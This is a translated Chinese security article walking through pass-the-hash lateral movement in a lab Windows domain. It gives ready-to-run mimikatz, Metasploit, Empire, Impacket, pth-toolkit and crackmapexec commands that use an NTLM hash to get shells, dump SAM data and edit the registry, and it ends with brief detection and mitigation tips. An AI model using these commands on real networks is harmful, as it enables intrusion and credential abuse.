PTH攻击总结 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

PTH攻击总结

DarkEye 技术 2020-05-25 10:00:00
1263656
收藏

导语:搞过内网渗透的,你肯定听过pth攻击。这种攻击效果非常显著,微软也是因此在存储凭证方面做了很大的改变。

搞过内网渗透的,你肯定听过pth攻击。这种攻击效果非常显著,微软也是因此在存储凭证方面做了很大的改变。但即使是不断的更新,发布补丁,pth攻击还是存在。今天我们就来一探究竟。

目录

· pth攻击回顾

· 微软更新

· hash和NTLM介绍

· Pth攻击原理

· Zeros取代LM hash

· 实际中的配置

· pth攻击

· Mimikatz

· SMB pth攻击

  · msf scanner/smb/smb_login

  · Empire lateral_movement/invoke_smbexec

  · Impacket smbclient

  · pth-smbclient

  · crackmapexec

· PsExec Pth攻击

  · Msf windows/smb/psexec

  · Msf admin/smb/psexec_command

  · Impacket psexec

· WMI pth攻击

  · Impacket wmiexec

  · Powershell Invoke-WMIExec

  · pth-wmic

  · exe

· RPC Pth攻击

  · Impacket rpcdump

  · pth-rpcclient

  · pth-net

· pth工具

  · PTH Toolkit

    - pth-winexe

    - pth-curl

  · Impacket

    - impacket atexec

    - Impacket lookupsid

    - Impacket samrdump

    - Impacket reg

· Pth检测

· Pth防御

· 参考

· 总结

PTH回顾

在后渗透中,获取会话之后,首先就是要获取凭证和NTLM hash值。从红队的视角来看,Pth只是横向渗透的开始。获得hash之后,攻击者就可以对它加以利用,比如他们可以尝试破解,但破解hash值还是比较困难的,费时费力,还不一定能搞到正确的密码,于是就诞生了另一种方法。我们来看一下认证过程,认证期间,首先是获取用户输入的密码,然后将其加密得到hash值,然后再把这个加密的hash值用于后期的身份认证。初始认证完成之后,windows就把这个hash值保存到内存中,这样用户在使用过程中就不用重复的输入密码。在凭证转存中,我们可以看到,我们提取了很多的hash值。作为攻击者,我们是不知道密码的,所以在认证的时候,我们直接提供hash值,不用提供密码,windows就会与保存的hash值对比,一致的话,认证就会通过。这就是所谓的pth攻击了。

微软的修复措施

微软使用AES加密取代了RC4加密,并且引入了凭证保护机制。这导致很多人认为pth攻击从此就不存在了。然而并非如此,这些修复方式只是让攻击变得更加困难,但是并没有解决问题的本质。确实,经过修复之后,很多工具和技巧都失效了,但有一些还是可以用的。下面我会介绍一些。

Hash和NTLM介绍

加密hash函数其实是一种算法,能够获取任意数据块并返回固定大小的bit字符串,也就是hash值。因此只要数据发生改变,hash也会发生变化。举个简单的例子来说,假如你的密码是123456,对其进行加密得到hash,然后你把密码改成1234567,再加密得到hash,这两个hash值是完全不同的。

微软自windows发布以来,就是用了NTLMv2身份认证协议,并且引入了单点登录系统,将凭证缓存在内存中,以便后续的操作会用到。

Pth攻击过程

pth攻击分为两步:

1.提取hash

假如攻击者入侵了一台机器,他可以直接提取受害主机的hash值,也可以提取与受害主机处于同一网络中的其他主机的hash值。

2.利用hash

接着就是利用获取到的hash来登录到受害主机或者其他主机。

NTLM协议是一套微软安全协议,为用户提供身份验证,完整性和机密性。NT hash值是16字节大小的字符串,是通过MD4算法对密码加密所得到的。

注意:

本文主要讲解如何利用hash绕过认证和pth攻击,不会讲解如何获取hash。关于如何获取hash,大家可以参考下面的文章:

· Credential Dumping: SAM

· Credential Dumping: NTDS.dit

· Credential Dumping: Local Security Authority (LSA|LSASS.EXE)

这里用一串0代替LM hash

自windows10发布以来,LM hash就不再使用了,但是这次我们用到的工具,在NT和LM时代就已经有了,所以在这些工具中,我们将使用32个0的字符串来代替LM hash值。

环境配置

攻击主机

操作系统:kali Linux 2020.1

IP地址:192.168.1.112

靶机

服务器:

OS:windows server2016

IP地址:192.168.1.105

Domain:ignite.local

用户:Administrator

客户端:

OS:windows10

IP地址:192.168.1.106

用户:Yashika

哈希传递攻击-pth攻击

pth攻击在很多场景和技术下都可以使用。首先我们来介绍一下针对常见协议和技术的pth攻击,接着我们会介绍一下能让我们发起pth攻击的不同的工具。本文我们会对这些协议发起pth攻击,如SMB,PsExec,WMI,RPC,RDP等。在开始介绍之前,我们先用mimikatz来测试一下pth攻击。当我们谈到windows安全时,mimikatz绝对是一款神器。这里我们使用administrator及其hash,我们也会谈到域。这个任务需要提权,所以,我们需要执行privilege debug。我们会用到NTLMhash,采用RC4加密存储。执行完成之后,它会打开一个管理员命令窗口,如下图:

privilege::debug
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38

1.png

SMB pth攻击

在网络中,SMB协议是非常重要的,承担着大部分的网络任务。我们先从基本的攻击方开始,如metasploit。

Metasploit:smb_login

Metasploit有一个auxiliary辅助模块,可以通过SMB登录到网络中。这个模块需要设置一些选项。我们准备用用户名和hash字典,在信息收集阶段,我们已经收集了很多用户名和hash,制作成了字典,用于此次攻击,攻击完成后,就可以跑出有效的用户名和hash组合,可以在网络中登录到某台主机。

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.1.105
set user_file user.txt
set pass_file pass.txt
set smbdomain ignite
exploit

2.png

Empire:Invoke_smbexec

如果你metasploit用的不是很6,你也可以用powershell Empire框架。有一个横向渗透模块,基于Invoke-SMBExec.ps1脚本的,也可以使用用户的hash值来登录。在这次测试中,我们使用administrator及其hash值。前面我们说过,因为windows已经不再使用LM hash值,我们会用一串0来代替它。选择模块之后,设置必要的参数,然后运行:

usemodule lateral_movement/invoke_smbexec
set ComputerName WIN-S0V7KMTVLD2.ignite.local
set Username Administrator
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set Listener http
execute

3.png

如图,攻击成功,我们获得了administrator的会话,我们可以输入一个ipconfig命令来确认下会话是否成功建立,如下图:

4.png

Impacket:smbclient.py

Impacket是一款功能非常强大的工具包,在我们与服务器交互时大有帮助。使用也特别简单,只需要一行命令即可,特别适合我这种懒人。Impacket工具包中,有一个smbclient.py脚本,可以用来发起SMB攻击。它一般需要密码才能登录,但是我们这里可以尝试输入hash值进行登录。果不其然,Impacket就是好用,也可以登录。同样,我们用0代替LM hash值,然后设置一下用户名,hash,域。另外我们还需要输入一个ip地址,因为我们是在kali上运行的,而且不在域环境的内网中。

python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

 5.png

连接成功后,就可以执行大量命令来与SMB交互了。

更多Impacket用法,请参考:https://www.hackingarticles.in/impacket-guide-smb-msrpc/

PTH-smbclient

PTH是kali中内置的一款工具包,我们稍后会讲到它,它也可以对SMB服务发起pth攻击。同样,也是需要设置基本参数信息,域,用户名 ,IP地址和密码。我们这里输入密码hash,如下图所示,也可以成功访问到靶机,这个脚本真的是又快又好用:

pth-smbclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$

6.png

Crackmapexec

Crackmapexec是我最喜欢的工具,功能强大,而且执行速度超快。用Crackmapexec来发起pth攻击并在靶机上执行命令当然也是ok的,需要输入IP地址,用户名,密码以及想要执行的命令。这里我们用hash值代替密码,这次hash值我们就不用0了,因为这款工具使用NT hash也是可以运行的:

crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38

7.png

更多关于Crackmapexec的技巧,请参考:活动目录横向渗透之Crackmapexec

PsExec pth攻击

这款工具能让系统管理员执行其他系统上的进程。对于控制台应用,它完全是交互式的。它是一个可执行文件,不需要安装,属于开箱即用那种。PsExec主要用在启动远程系统的交互式命令窗口并执行远程命令如ipconfig,这个命令本来是无法显示远程系统的信息的。

Metasploit:psexec

还是直接上MSF吧,这个框架真的是一个特别趁手可靠的框架。开启msf后,直接搜索PsExec,然后use一下,接着设置一些基本参数,目标IP,用户名,密码和域。   密码字段我们直接传递hash值,也是没问题的。执行之后,就会返回我们提供的用户的meterpreter会话。

use exploit/windows/smb/psexec
set rhosts 192.168.1.105
set smbuser administrator
set smbdomain ignite
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
exploit

8.png

Metasploit:psexec_command

msf中还有一个psexec_command模块,这个模块可以在远程机器上执行命令。这个模块使用效果更好,因为它更加隐蔽,而且不留痕迹。执行特定的命令然后就退出。所需的参数跟psexec差不多,但是另外还需要一个参数,就是在远程机器上执行的命令。本次测试中,我们就执行一个基本命令”net user”,来查看远程主机上的用户。

use admin/smb/psexec_command
set rhosts 192.168.1.105
set subdomain ignite
set smbuser administrator
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set command net user
run

9.png

Impacket:psexec.py

Impacket工具包也有一个psexec脚本,这也是我把它作为PsExec一类列出来的原因。用法跟我们上面测试的smbclient.py非常相似。不同之处是获得的shell类型。smbclient.py获得的是SMB shell。这个脚本获得的是正常的系统shell。

python psexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105

10.png

关于SMB与PsExec的pth攻击部分就讲到这里,接下来我们开始将WMI部分。

WMI pth攻击

WMI是微软的一套管理规范,整合了windows网络中设备和应用程序的管理。WMI为用户提供了基本信息,并且让用户有权限执行各种管理任务。这种权限是通过身份认证来实现的。当我们有了凭证的时候,我们就可以执行pth攻击来通过身份认证了。

Impacket:wmiexec.py

Impacket有一个脚本可以利用WMI来获得靶机的会话并执行各种任务。执行这些任务需要用户的凭证。同样地,我们不用密码,直接使用hash值,看看能不能通过这个脚本获得靶机的会话。需要设置的参数,用户名,IP地址,hash值:

python wmiexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105

11.png 

Powershell:Invoke-WMIExec

Powershell中也有一个非常实用的脚本,Invoke-WMIExec,是国外一个大牛设计的,也可以远程访问WMI。工作原理跟上面的脚本差不多。它不会返回一个会话,但是可以在远程靶机上执行任务。假如我们要远程修改另一台系统上的配置和策略,这个场景下,该脚本就非常适用。需要设置的参数,IP地址,域,用户名以及hash值。然后我们再提供一个需要执行的命令,我打算在远程靶机上创建一个名为”hacked”的文件夹,于是我构造了如下的命令:

首先下载Invoke-WMIExec.ps1脚本,

https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1

然后执行:

Invoke-WMIExec -Target 192.168.1.105 -Domain ignite -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command "cmd /c mkdir c:\hacked" -Verbose

12.png 

执行完后,我们可以看到,已经成功在远程靶机上创建了”hacked”文件夹。

13.png

Wmic pth攻击

回到PTH脚本,它们也有WMI接口,即wmic。无需安装,kali内置。直接从终端中输入命令运行即可,提供域,用户名,hash值,IP地址以及要执行的命令等参数,不过有一点要注意,此方法只能执行一些WMI命令,无法执行其他命令。本次测试中,我们尝试获取靶机的用户列表,命令如下:

pth-wmic -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 "select Name from Win32_UserAccount"

14.png

wmiexec.exe

当然了,对于那些热衷于使用可执行文件的人,也是有相对应的工具的,这里我们介绍的就是wmiexec.exe。它是由Impacket中的wmiexec.py脚本生成的。所需参数:域,用户名,IP地址和hash值,执行完之后会获得一个我们输入的用户的shell:

下载wmiexec.exe

https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe

然后执行如下命令:

wmiexec.exe -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

15.png

ok,WMI的pth攻击就到这里,接下来开始讲解神奇的RPC协议。

RPC pth攻击

RPC,也就是远程过程调用,它是一种协议,应用程序可以通过RPC来调用网络中其他远程系统上的特定服务。如果我们能在认证过程中传递hash值,我们就能从特定的靶机上获取一些基本的终端信息。

Impacket:rpcdump.py

Impacket团队还开发了一个非常不错的脚本,能帮助我们获取目标靶机上的RPC端点列表。因为需要认证,所以我们将会通过pth攻击来获取端点信息,参数设置:域,用户名,IP地址及hash值。命令如下:

python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

16.png

PTH-rpcclient

pth工具包中也有一个针对RPC协议的攻击方法,它可以返回一个交互式会话,能够执行一些RPC命令。如果你想要收集关于网络和其他一些信息的话,这些RPC命令也是很有帮助的。获得访问权限后,我们可以通过执行srvinfo命令来获取系统的基本信息,工具所需参数及格式如下:

pth-rpcclient -U ignite/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105

17.png

PTH-net

PTH-net工具可以执行一些net命令,如net user,net share等,这里把它列入RPC的范畴,是因为它也可以通过RPC协议来执行这些任务。这里我们准备通过网络来获取共享信息,如图所示,很快我们就获得了所有的共享信息。这款工具需要启用了RPC协议,其他参数一样:要执行的命令,域,用户名,hash值,IP地址:

pth-net rpc share list -U 'ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.105

18.png

PTH工具包

早在2012年BlackHat大会的时候,就引入了一堆pth攻击脚本,这些脚本在Google Code Archive上都有。因为好用并且广受欢迎,kali在2013年发行版中便内置了这些工具。在pth工具包中,包含以下工具:

· pth-curl

· pth-rpcclient

· pth-smbget

· pth-winexe

· pth-wmic

· pth-net

· pth-smbclient

· pth-sqsh

· pth-wmic

这些工具可以协助攻击者在网络中发起pth攻击。上面我们已经介绍过一部分,下面我们继续介绍一些其他的。

PTH-winexe

我们已经熟悉了winexe可以执行远程windows命令,但是我们需要提供目标主机的用户凭证和IP地址,而这个工具,让我们可以直接输入hash值来进行认证,不用再输入密码,所以我们只需要提供用户名,hash值,IP地址,命令或者是想要执行的可执行文件名。这里我们打算执行一个cmd来获取shell,执行之后,我们进入到了system32这个目录:

pth-winexe -U Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 cmd.exe

19.png

接下来为了演示另一个工具,我们切换到inetpub/wwwroot目录,如上图,可以看到有一个file.txt文件。

注意:inetpub目录是安装IIS服务器后自动生成的。

PTH-curl

curl命令也是非常强大的,它可以做很多事情,执行pth攻击当然也是不在话下了。一般而言,curl从目标服务器上获取特定文件也是需要通过认证的。我们可以使用pth-curl命令来发起pth攻击,使用hash进行认证,然后从目标靶机上下载file.txt,就是上面inetpub/wwwroot目录下的file.txt文件。

pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt

20.png

如图可以看到,显示了file.txt文件里的内容。

Impacket

上面已经介绍了一部分很不错的Python脚本了,它们具体能做的,肯定比我们想象的要多,这些脚本包括smbclient.py,psexec.py,wmiexec.py,rpcdump.py等,在pth攻击中,效果都非常不错,但是在Impacket工具包中,可不止这些工具,还有很多其他工具也能执行pth攻击,再简单介绍几个:

Impacket:atexec.py

atexec是一种可以连接远程系统的方法。它利用的是计划任务服务在目标系统上执行命令。需要设置的参数:用户凭证,IP地址,域,要执行的命令。同样,我们用hash值代替密码,执行pth攻击,如下图,完美生效:

python atexec.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 Administrator@192.168.1.105 whoami

21.png

Impacket:lookupsid.py

lookupsid这个脚本,能够同时遍历本地用户和域用户。需要设置的参数:域,用户名,密码,IP地址。我们把密码替换成hash值,试试pth攻击,如图,通过认证后,成功了遍历出了一堆用户名:

python lookupsid.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

22.png

Impacket:samrdump.py

samrdump是一个利用SAM(安全账户管理器),来获取指定目标系统敏感信息的应用程序。需要设置的参数跟上面一样,域,用户名,密码 IP地址。我们把密码替换成hash值,然后执行:

python samrdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105

如图所示,我们获取到了SAM数据:

23.png

Impacket:reg.py

reg.py脚本可以读取,修改和删除注册表值。通过pth攻击来攻击目标系统并修改它的注册表值,会真的对系统造成危害。攻击者可以通过修改注册表项让目标系统更加脆弱,甚至不堪一击,当然也可以生成一个永久后门,这种后门几乎没有痕迹,很难追踪定位。需要设置的参数:域,用户名,密码,IP地址,以及你想修改的注册表项:

python reg.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105 query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s

24.png

更多Impacket信息,请参考:Impacket指南:SMB/MSRPC

Pth攻击检测

个人如果想要检测网络中是否存在pth攻击,可以采取以下措施:

· 监控日志,发现本文中提供的pth攻击工具进行告警

· 监控主机上的异常行为,如试图篡改LSASS进程

· 监控配置文件中的异常更改,因为pth攻击可能会修改这些配置(LocalAccountTokenFilterPolicy, WDigest等)

· 监控单个IP地址的多个成功或失败的连接

PTH攻击缓解措施

· 禁用 LocalAccountTokeFilterPolicy 设置

· 使用LAPS 本地密码管理方案

· 使用强身份认证策略

参考资料

· SANS Pass-the-Hash in Windows 10

· Kali Pass the Hash Toolkit

· MITRE|ATT&CK Pass the Hash

· Black Hat USA 2012

总结

这种攻击是windows安全团队无法避免的。这种攻击发生在windows认证过程的核心位置,简单的修复措施肯定是无法杜绝pth攻击的。我们要明白pth攻击的严重性,要知道pth攻击在2010年就达到了顶峰,到现在10年过去了,pth依然存在。

本文翻译自:https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务